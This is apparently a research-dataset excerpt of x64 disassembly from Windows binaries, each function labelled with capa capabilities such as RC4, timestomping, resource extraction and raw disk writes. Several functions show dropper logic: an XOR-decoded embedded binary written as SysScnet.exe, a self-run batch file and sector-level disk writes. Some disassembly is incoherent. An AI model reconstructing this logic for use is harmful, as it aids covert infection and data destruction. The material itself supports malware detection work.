joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011120
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rax, rdx
movzx r11d, byte [rdx + 0x38]
cmp r11b, 1
ja 0x140011187
movzx r9d, byte [rax + 0x10]
movzx r8d, byte [rax + 0x3a]
xor edx, edx
test r8b, r8b
jne 0x1400112d8
cmp r9b, 5
jb 0x1400112d8
mov r10, qword [rax]
mov rdx, qword [rax + 8]
xor esi, esi
test r11b, r11b
jne 0x140011177
cmp r9b, 6
je 0x140011177
mov esi, 2
cmp rdx, 2
jb 0x140011380
cmp rsi, rdx
jne case.0x140010229.31
xor edx, edx
jmp 0x1400112d8
xor edx, edx
xor r8d, r8d
xor r10d, r10d
add rdx, r10
lea rdi, [r10 + rsi]
inc rdi
inc edi
cmp rdi, rdx
sete dl
movzx r10d, byte [r10 + rsi]
adc al, 0x32
test dl, 1
jne 0x1400112cd
cmp r10b, 0x2e
jne 0x1400112cd
movzx edx, byte [rdi]
cmp dl, 0x5c
sete r10b
cmp dl, 0x2f
cli
invalid
sete dl
or dl, r10b
jmp 0x1400112d8
cmp r10b, 0x2e
sete r10b
and dl, r10b
xor r10d, r10d
test r11b, r11b
jne case.default.0x140011300
invalid
cmp r9b, 6
je case.default.0x140011300
invalid
invalid
invalid
movzx r9d, r9b
lea r10, [0x14001c858]
add byte [rdi + 0x63], cl
or al, 0x8a
mov r10, qword [rax + 0x20]
add r10, 4
mov r9, qword [rax + 0x20]
mov r10, qword [rax + 0x30]
mov r10d, 6
jmp case.default.0x140011300
mov r9, qword [rax + 0x20]
mov r10, qword [rax + 0x30]
mov r10d, 2
jmp case.default.0x140011300
lea r8, str.library_std_srcpath.rs
mov ecx, 2
call fcn.140016690
ud2
clc
add ecx, dword [rdi]
xchg edi, esi
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x790c

Function at 0x140016244
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001628e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001628e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001628e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001628e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001628e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140016290
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 3]
mov dword [rsp + 0x28], 0x2000000
mov rdi, rcx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001056
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov eax, 0x7da
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov eax, 0xb
mov word [rsp + 0x44], si
mov word [rsp + 0x42], ax
mov eax, 0x15
mov word [rsp + 0x4e], si
mov word [rsp + 0x46], ax
mov eax, 0x12
mov word [rsp + 0x48], ax
mov eax, 7
mov word [rsp + 0x4a], ax
mov eax, 5
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x68]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
mov eax, 1
add rsp, 0x50
pop rdi
ret

Function at 0x140001100
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x258
mov rax, qword [0x140005038]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x131]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x130], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x130]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x20]
call sub.MSVCR90.dll_strcpy
lea rdx, [0x140003310]
lea rcx, [rsp + 0x20]
call sub.MSVCR90.dll_strcat
lea rdx, str.SysScnet.exe
lea rcx, [rsp + 0x20]
call sub.MSVCR90.dll_strcat
mov r8d, 1
lea rdx, [rsp + 0x20]
lea ecx, [r8 + 0x66]
call fcn.140001bb0
test eax, eax
je 0x1400011b6
lea rcx, [rsp + 0x20]
call fcn.140001000
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400022f0
add rsp, 0x258
ret
Function at 0x140001280
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x390
mov rax, qword [0x140005038]
xor rax, rsp
mov qword [rsp + 0x380], rax
lea rdx, [rsp + 0x50]
xor ebp, ebp
mov ecx, 0x104
mov dword [rsp + 0x40], ebp
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str._unins_update.bat
lea rcx, [rsp + 0x50]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x160]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x270]
call sub.MSVCR90.dll_strcpy
lea edx, [rbp + 0x5c]
lea rcx, [rsp + 0x270]
call qword [sym.imp.MSVCR90.dll_strrchr]
test rax, rax
je 0x14000130a
mov byte [rax], bpl
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000142c
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x3a0], rbx
mov qword [rsp + 0x3a8], rsi
call sub.MSVCR90.dll_strlen
lea rcx, section..data
lea ebx, [rax + rax*2]
call sub.MSVCR90.dll_strlen
lea rcx, [rsp + 0x50]
add ebx, eax
call sub.MSVCR90.dll_strlen
lea ecx, [rax + rbx + 0x32]
movsxd rbx, ecx
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_malloc]
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rsi, rax
call sub.MSVCR90.dll_memset
lea r11, [rsp + 0x50]
lea r9, [rsp + 0x160]
lea r8, [rsp + 0x160]
lea rdx, section..data
mov rcx, rsi
mov qword [rsp + 0x20], r11
call qword [sym.imp.MSVCR90.dll_sprintf]
mov rcx, rsi
call sub.MSVCR90.dll_strlen
lea r9, [rsp + 0x40]
mov rdx, rsi
mov rcx, rdi
mov r8, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rsp + 0x50]
lea rdx, [0x140003314]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x3a0]
test rsi, rsi
je 0x140001424
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_free]
mov rsi, qword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.1400022f0
mov rbp, qword [rsp + 0x3b0]
add rsp, 0x390
pop rdi
ret
Function at 0x1400017b0
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x28
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_KillTimer]
call fcn.1400017a0
lea rcx, [0x140003410]
mov edx, 1
call fcn.1400011d0
call fcn.140001450
call fcn.140001280
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001920
Capabilities:
Delete file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
movsxd rsi, r8d
mov rbp, rdx
mov rbx, rcx
xor edi, edi
call qword [sym.imp.MSVCR90.dll_remove]
lea rdx, [0x140003430]
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_fopen]
mov rbx, rax
test rax, rax
je 0x14000198e
mov qword [rsp + 0x30], r12
mov r12d, 1
mov r8, rsi
mov r9, rax
mov rcx, rbp
mov rdx, r12
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, rbx
cmp eax, esi
cmove edi, r12d
call qword [sym.imp.MSVCR90.dll_fclose]
mov r12, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, edi
add rsp, 0x20
pop rdi
ret

Function at 0x1400019b0
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
sub rsp, 0x58
xor eax, eax
mov r10, r9
xor r9d, r9d
mov qword [r11 - 0x28], r9
mov dword [r11 + 8], r9d
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
mov qword [r11 - 0x10], rax
cmp rcx, 0xffffffffffffffff
je 0x140001a04
mov eax, edx
lea r9, [r11 + 8]
shl r8d, 9
shl rax, 9
mov rdx, r10
mov dword [rsp + 0x40], eax
shr rax, 0x20
mov dword [rsp + 0x44], eax
lea rax, [r11 - 0x28]
mov qword [r11 - 0x38], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rsp, 0x58
ret

Function at 0x140001ac0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r13
push r14
sub rsp, 0x20
mov ebx, ecx
xor ecx, ecx
mov r14, r8
mov rdi, rdx
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
mov r8, rdi
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x140001b8e
mov rdx, rax
mov rcx, rsi
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], r12
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
mov rcx, rsi
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test ebp, 0x1ff
mov dword [r14], ebp
setne r13b
mov rsi, rax
mov eax, ebp
shr eax, 9
add r13d, eax
shl r13d, 9
mov ecx, r13d
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
mov r8d, r13d
xor edx, edx
mov rcx, rax
mov rdi, rax
call sub.MSVCR90.dll_memset
mov r8, rbp
mov rdx, rsi
mov rcx, rdi
call sub.MSVCR90.dll_memcpy
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r12, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
mov rax, rdi
jmp 0x140001b91
mov rax, r13
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop rdi
ret
Function at 0x140001bb0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x260
mov rax, qword [0x140005038]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov ebp, ecx
mov edi, r8d
mov rbx, rdx
lea rcx, [rsp + 0x141]
xor esi, esi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x140], sil
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], sil
call sub.MSVCR90.dll_memset
test edi, edi
jne 0x140001c81
lea rcx, [rsp + 0x140]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov rdx, rsi
nop dword [rax]
movzx eax, byte [rsp + rdx + 0x140]
inc rdx
mov byte [rsp + rdx + 0x2f], al
test al, al
jne 0x140001c30
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
movzx eax, word [0x140003310]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001c70
jmp 0x140001c9e
lea rdx, [rsp + 0x30]
sub rdx, rbx
nop dword [rax]
movzx eax, byte [rbx]
inc rbx
mov byte [rdx + rbx - 1], al
test al, al
jne 0x140001c90
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
mov ecx, ebp
mov dword [rsp + 0x20], esi
call fcn.140001ac0
mov rdi, rax
test rax, rax
je 0x140001ce1
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.140001920
mov ecx, 1
test eax, eax
cmovne esi, ecx
mov rcx, rdi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov eax, esi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400022f0
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001d10
Capabilities:
Get disk information via ioctl

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov rdi, rbx
cmp rbp, 0xffffffffffffffff
je 0x140001dd1
mov ecx, 0xc00
mov qword [rsp + 0x58], rsi
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
mov qword [rsp + 0x38], rbx
xor r9d, r9d
mov rsi, rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x30], rax
mov edx, 0x70050
mov rcx, rbp
mov dword [rsp + 0x28], 0xc00
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140001dbf
lea rax, [rsi + 0x38]
lea edx, [rbx + 4]
nop dword [rax]
mov rcx, qword [rax]
cmp rcx, rbx
jle 0x140001d9f
mov rdi, qword [rax + 8]
mov rbx, rcx
add rax, 0x90
sub rdx, 1
jne 0x140001d90
lea rax, [rdi + rbx]
cqo
and edx, 0x1ff
lea rbx, [rdx + rax]
sar rbx, 9
test rsi, rsi
je 0x140001dcc
mov rcx, rsi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov rsi, qword [rsp + 0x58]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140001eb0
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push rdi
sub rsp, 0x150
mov rax, qword [0x140005038]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
repne scasb al, byte [rdi]
mov rax, qword [0x140003448]
mov ecx, 0x66
mov qword [rdi - 1], rax
mov eax, dword [0x140003450]
mov dword [rsp + 0x20], 0
mov dword [rdi + 7], eax
movzx eax, word [0x140003454]
mov word [rdi + 0xb], ax
movzx eax, byte [0x140003456]
mov byte [rdi + 0xd], al
call fcn.140001ac0
mov rdi, rax
test rax, rax
je 0x140001f8b
mov r8d, dword [rsp + 0x20]
test r8d, r8d
jle 0x140001f6c
mov rcx, rax
mov rdx, r8
nop
xor byte [rcx], 0x99
inc rcx
sub rdx, 1
jne 0x140001f60
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.140001920
lea rcx, [rsp + 0x30]
call fcn.140001000
mov rcx, rdi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400022f0
add rsp, 0x150
pop rdi
ret

Function at 0x140002110
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x140005038]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x31]
xor edi, edi
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x160], rbx
mov byte [rsp + 0x30], dil
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x30]
mov edx, 0x104
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
movsx ecx, byte [rsp + 0x30]
lea rdx, [rsp + 0x20]
sub ecx, 0x41
call fcn.1400017f0
mov ecx, dword [rsp + 0x20]
call fcn.140001fb0
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400021ff
test rax, rax
je 0x1400021ff
mov rcx, rax
call fcn.140001d10
mov rcx, rsi
mov ebx, eax
call fcn.140001df0
mov r11d, eax
sub r11d, ebx
cmp r11d, 0x29a
jae 0x1400021c5
mov ecx, 0x2aa
sub ecx, r11d
lea eax, [rcx + 0x32000]
cmp ebx, eax
jbe 0x1400021ff
sub ebx, ecx
add r11d, ecx
cmp r11d, 0xa00000
jbe 0x1400021dc
mov rcx, rsi
call fcn.140001df0
lea ebx, [rax - 0x2800]
lea edx, [rbx + 0x6a]
lea r8, [0x140005064]
mov rcx, rsi
mov dword [0x140005060], edx
call fcn.140002080
test eax, eax
je 0x1400021ff
mov edi, 1
jmp 0x140002210
mov dword [0x140005060], edi
mov dword [0x140005064], edi
call fcn.140001eb0
mov rbx, qword [rsp + 0x160]
cmp rsi, 0xffffffffffffffff
je 0x140002227
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400022f0
mov rsi, qword [rsp + 0x168]
add rsp, 0x150
pop rdi
ret
Function at 0x140002743
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140005038]
jne 0x14000230a
rol rcx, 0x10
test cx, 0xffff
jne 0x140002306
repz ret
ror rcx, 0x10
jmp 0x14000269c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140005130]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140005228]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002721
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140005130]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140002743
mov rax, qword [rsp + 0x88]
mov qword [0x140005228], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400051c8], rax
mov rax, qword [0x140005228]
mov qword [0x1400050a0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400051b0], rax
mov dword [0x140005090], 0xc0000409
mov dword [0x140005094], 1
mov rax, qword [0x140005038]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140005040]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140005128], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140003470]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140005128], 0
jne 0x1400027ca
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14145583b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1414497c0]
jne 0x14145339e
rol rcx, 0x10
test cx, 0xffff
jne 0x14145339a
repz ret
ror rcx, 0x10
jmp 0x141455794
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14144d5e0]
call qword [sym.imp.kernel32.dll_RtlCaptureContext]
mov rax, qword [0x14144d6d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.kernel32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x141455819
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14144d5e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.kernel32.dll_RtlVirtualUnwind
jmp 0x14145583b
mov rax, qword [rsp + 0x88]
mov qword [0x14144d6d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14144d678], rax
mov rax, qword [0x14144d6d8]
mov qword [0x14144d550], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14144d660], rax
mov dword [0x14144d540], 0xc0000409
mov dword [0x14144d544], 1
mov rax, qword [0x1414497c0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1414497c8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x14144d5d8], eax
mov ecx, 1
call fcn.1414533a4
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14144c0e0]
call qword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x14144d5d8], 0
jne 0x1414558c2
mov ecx, 1
call fcn.1414533a4
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.kernel32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14145595c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1414497c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.141450a5c
xor ebx, ebx
cmp qword [0x14144dab8], rbx
mov rdi, rax
jne 0x141455a6f
lea rcx, str.USER32.DLL
call qword [sym.imp.kernel32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x141455b46
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x141455b46
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14144dab8], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14144dac0], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14144dac8], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
mov r11, rax
mov qword [0x14144dad8], rax
test rax, rax
je 0x141455a66
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
mov qword [0x14144dad0], rax
jmp 0x141455a76
mov rax, qword [0x14144dad0]
jmp 0x141455a7d
mov rax, qword [0x14144dad0]
mov r11, qword [0x14144dad8]
cmp rax, rdi
je 0x141455ae4
cmp r11, rdi
je 0x141455ae4
mov rcx, rax
call qword [sym.imp.kernel32.dll_DecodePointer]
mov rcx, qword [0x14144dad8]
mov rsi, rax
call qword [sym.imp.kernel32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x141455ae4
test rax, rax
je 0x141455ae4
call rsi
test rax, rax
je 0x141455ade
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x141455ade
test byte [rsp + 0x40], 1
jne 0x141455ae4
bts ebp, 0x15
jmp 0x141455b24
mov rcx, qword [0x14144dac0]
cmp rcx, rdi
je 0x141455b24
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x141455b24
call rax
mov rbx, rax
test rax, rax
je 0x141455b24
mov rcx, qword [0x14144dac8]
cmp rcx, rdi
je 0x141455b24
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x141455b24
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14144dab8]
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x141455b46
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x141455b48
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.141453384
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14007933c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140079388
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140079380
cmp dword [rcx + 0x3c], edx
jl 0x140079380
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140079380
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140079388
mov rax, rdx
add rsp, 0x18
ret